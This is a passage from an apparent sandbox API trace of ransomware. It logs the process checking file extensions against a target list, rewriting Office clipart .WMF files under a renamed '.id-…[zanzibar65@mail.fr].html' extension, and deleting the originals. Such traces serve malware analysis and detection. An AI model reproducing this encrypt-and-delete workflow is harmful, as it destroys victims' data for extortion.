lpString2=".WMF") returned 1 [0273.662] lstrlenW (lpString=".rar") returned 4 [0273.662] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.662] lstrlenW (lpString=".bz2") returned 4 [0273.662] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.662] lstrlenW (lpString=".7z") returned 3 [0273.662] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0273.662] lstrlenW (lpString=".dbf") returned 4 [0273.662] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0273.662] lstrlenW (lpString=".1cd") returned 4 [0273.662] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0273.663] lstrlenW (lpString=".jpg") returned 4 [0273.663] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0273.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0273.663] lstrlenW (lpString=".doc") returned 4 [0273.663] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.663] lstrlenW (lpString=".docx") returned 5 [0273.663] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.663] lstrlenW (lpString=".pdf") returned 4 [0273.663] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.663] lstrlenW (lpString=".xls") returned 4 [0273.663] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.663] lstrlenW (lpString=".xlsx") returned 5 [0273.663] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.663] lstrlenW (lpString=".ppt") returned 4 [0273.663] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0273.663] lstrlenW (lpString=".zip") returned 4 [0273.663] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.663] lstrlenW (lpString=".rar") returned 4 [0273.663] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.663] lstrlenW (lpString=".bz2") returned 4 [0273.663] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.663] lstrlenW (lpString=".7z") returned 3 [0273.663] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0273.663] lstrlenW (lpString=".dbf") returned 4 [0273.663] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0273.663] lstrlenW (lpString=".1cd") returned 4 [0273.663] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0273.664] lstrlenW (lpString=".jpg") returned 4 [0273.664] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.664] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0273.664] lstrlenW (lpString="FD02068_.WMF") returned 12 [0273.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0273.664] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x323ff1c | out: lpFileSize=0x323ff1c*=2488) returned 1 [0273.664] CloseHandle (hObject=0x380) returned 1 [0273.664] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf")) returned 0x20 [0273.664] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0273.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0273.665] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.665] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0273.665] GetLastError () returned 0x0 [0273.665] ReadFile (in: hFile=0x380, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x323fed4*=0x9b8, lpOverlapped=0x0) returned 1 [0273.669] WriteFile (in: hFile=0x2f0, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x323fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x323fc9c*=0x9c0, lpOverlapped=0x0) returned 1 [0273.670] ReadFile (in: hFile=0x380, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x323fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.670] WriteFile (in: hFile=0x2f0, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x323fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x323fc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.670] SetEndOfFile (hFile=0x2f0) returned 1 [0273.670] CloseHandle (hObject=0x2f0) returned 1 [0273.670] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.670] SetEndOfFile (hFile=0x380) returned 1 [0273.674] CloseHandle (hObject=0x380) returned 1 [0273.674] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0273.674] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf")) returned 1 [0273.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0273.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0273.677] lstrlenW (lpString=".doc") returned 4 [0273.677] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.677] lstrlenW (lpString=".docx") returned 5 [0273.677] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.677] lstrlenW (lpString=".pdf") returned 4 [0273.677] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.677] lstrlenW (lpString=".xls") returned 4 [0273.677] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.677] lstrlenW (lpString=".xlsx") returned 5 [0273.677] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.677] lstrlenW (lpString=".ppt") returned 4 [0273.677] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0273.678] lstrlenW (lpString=".zip") returned 4 [0273.678] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.678] lstrlenW (lpString=".rar") returned 4 [0273.678] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.678] lstrlenW (lpString=".bz2") returned 4 [0273.678] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.678] lstrlenW (lpString=".7z") returned 3 [0273.678] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0273.678] lstrlenW (lpString=".dbf") returned 4 [0273.678] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0273.678] lstrlenW (lpString=".1cd") returned 4 [0273.678] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0273.678] lstrlenW (lpString=".jpg") returned 4 [0273.678] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0273.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0273.678] lstrlenW (lpString=".doc") returned 4 [0273.678] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.678] lstrlenW (lpString=".docx") returned 5 [0273.678] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.678] lstrlenW (lpString=".pdf") returned 4 [0273.678] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.678] lstrlenW (lpString=".xls") returned 4 [0273.678] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.678] lstrlenW (lpString=".xlsx") returned 5 [0273.678] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.678] lstrlenW (lpString=".ppt") returned 4 [0273.678] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0273.679] lstrlenW (lpString=".zip") returned 4 [0273.679] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.679] lstrlenW (lpString=".rar") returned 4 [0273.679] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.679] lstrlenW (lpString=".bz2") returned 4 [0273.679] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.679] lstrlenW (lpString=".7z") returned 3 [0273.679] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0273.679] lstrlenW (lpString=".dbf") returned 4 [0273.679] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0273.679] lstrlenW (lpString=".1cd") returned 4 [0273.679] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0273.679] lstrlenW (lpString=".jpg") returned 4 [0273.679] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.679] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0273.679] lstrlenW (lpString="FD02071_.WMF") returned 12 [0273.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0273.680] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x323ff1c | out: lpFileSize=0x323ff1c*=2188) returned 1 [0273.680] CloseHandle (hObject=0x380) returned 1 [0273.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf")) returned 0x20 [0273.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0273.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0273.680] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.680] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0273.681] GetLastError () returned 0x0 [0273.681] ReadFile (in: hFile=0x380, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x323fed4*=0x88c, lpOverlapped=0x0) returned 1 [0273.839] WriteFile (in: hFile=0x2f0, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x323fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x323fc9c*=0x890, lpOverlapped=0x0) returned 1 [0273.978] ReadFile (in: hFile=0x380, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x323fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.978] WriteFile (in: hFile=0x2f0, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x323fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x323fc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.978] SetEndOfFile (hFile=0x2f0) returned 1 [0273.978] CloseHandle (hObject=0x2f0) returned 1 [0273.978] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.978] SetEndOfFile (hFile=0x380) returned 1 [0273.980] CloseHandle (hObject=0x380) returned 1 [0273.981] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0273.981] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf")) returned 1 [0273.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0273.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0273.981] lstrlenW (lpString=".doc") returned 4 [0273.981] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.981] lstrlenW (lpString=".docx") returned 5 [0273.981] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.981] lstrlenW (lpString=".pdf") returned 4 [0273.981] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.981] lstrlenW (lpString=".xls") returned 4 [0273.981] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.981] lstrlenW (lpString=".xlsx") returned 5 [0273.981] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.981] lstrlenW (lpString=".ppt") returned 4 [0273.981] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0273.981] lstrlenW (lpString=".zip") returned 4 [0273.981] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.981] lstrlenW (lpString=".rar") returned 4 [0273.981] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.982] lstrlenW (lpString=".bz2") returned 4 [0273.982] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.982] lstrlenW (lpString=".7z") returned 3 [0273.982] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0273.982] lstrlenW (lpString=".dbf") returned 4 [0273.982] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0273.982] lstrlenW (lpString=".1cd") returned 4 [0273.982] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0273.982] lstrlenW (lpString=".jpg") returned 4 [0273.982] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0273.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0273.982] lstrlenW (lpString=".doc") returned 4 [0273.982] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.982] lstrlenW (lpString=".docx") returned 5 [0273.982] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.982] lstrlenW (lpString=".pdf") returned 4 [0273.982] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.982] lstrlenW (lpString=".xls") returned 4 [0273.982] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.982] lstrlenW (lpString=".xlsx") returned 5 [0273.982] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.982] lstrlenW (lpString=".ppt") returned 4 [0273.982] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0273.983] lstrlenW (lpString=".zip") returned 4 [0273.983] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.983] lstrlenW (lpString=".rar") returned 4 [0273.983] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.983] lstrlenW (lpString=".bz2") returned 4 [0273.983] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.983] lstrlenW (lpString=".7z") returned 3 [0273.983] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0273.983] lstrlenW (lpString=".dbf") returned 4 [0273.983] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0273.983] lstrlenW (lpString=".1cd") returned 4 [0273.983] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0273.983] lstrlenW (lpString=".jpg") returned 4 [0273.983] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.983] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0273.984] lstrlenW (lpString="HH00231_.WMF") returned 12 [0273.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0274.047] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x323ff1c | out: lpFileSize=0x323ff1c*=2232) returned 1 [0274.047] CloseHandle (hObject=0x354) returned 1 [0274.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf")) returned 0x20 [0274.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0274.049] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.049] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0274.049] GetLastError () returned 0x0 [0274.049] ReadFile (in: hFile=0x354, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x323fed4*=0x8b8, lpOverlapped=0x0) returned 1 [0274.050] WriteFile (in: hFile=0x398, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x323fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x323fc9c*=0x8c0, lpOverlapped=0x0) returned 1 [0274.051] ReadFile (in: hFile=0x354, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x323fed4*=0x0, lpOverlapped=0x0) returned 1 [0274.051] WriteFile (in: hFile=0x398, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x323fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x323fc9c*=0xec, lpOverlapped=0x0) returned 1 [0274.051] SetEndOfFile (hFile=0x398) returned 1 [0274.051] CloseHandle (hObject=0x398) returned 1 [0274.051] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.051] SetEndOfFile (hFile=0x354) returned 1 [0274.239] CloseHandle (hObject=0x354) returned 1 [0274.239] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.362] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf")) returned 1 [0274.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0274.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0274.377] lstrlenW (lpString=".doc") returned 4 [0274.377] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.377] lstrlenW (lpString=".docx") returned 5 [0274.377] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.377] lstrlenW (lpString=".pdf") returned 4 [0274.377] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.377] lstrlenW (lpString=".xls") returned 4 [0274.377] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.377] lstrlenW (lpString=".xlsx") returned 5 [0274.377] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.377] lstrlenW (lpString=".ppt") returned 4 [0274.377] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0274.378] lstrlenW (lpString=".zip") returned 4 [0274.378] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.378] lstrlenW (lpString=".rar") returned 4 [0274.378] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.378] lstrlenW (lpString=".bz2") returned 4 [0274.378] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.378] lstrlenW (lpString=".7z") returned 3 [0274.378] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0274.378] lstrlenW (lpString=".dbf") returned 4 [0274.378] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0274.378] lstrlenW (lpString=".1cd") returned 4 [0274.378] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.378] 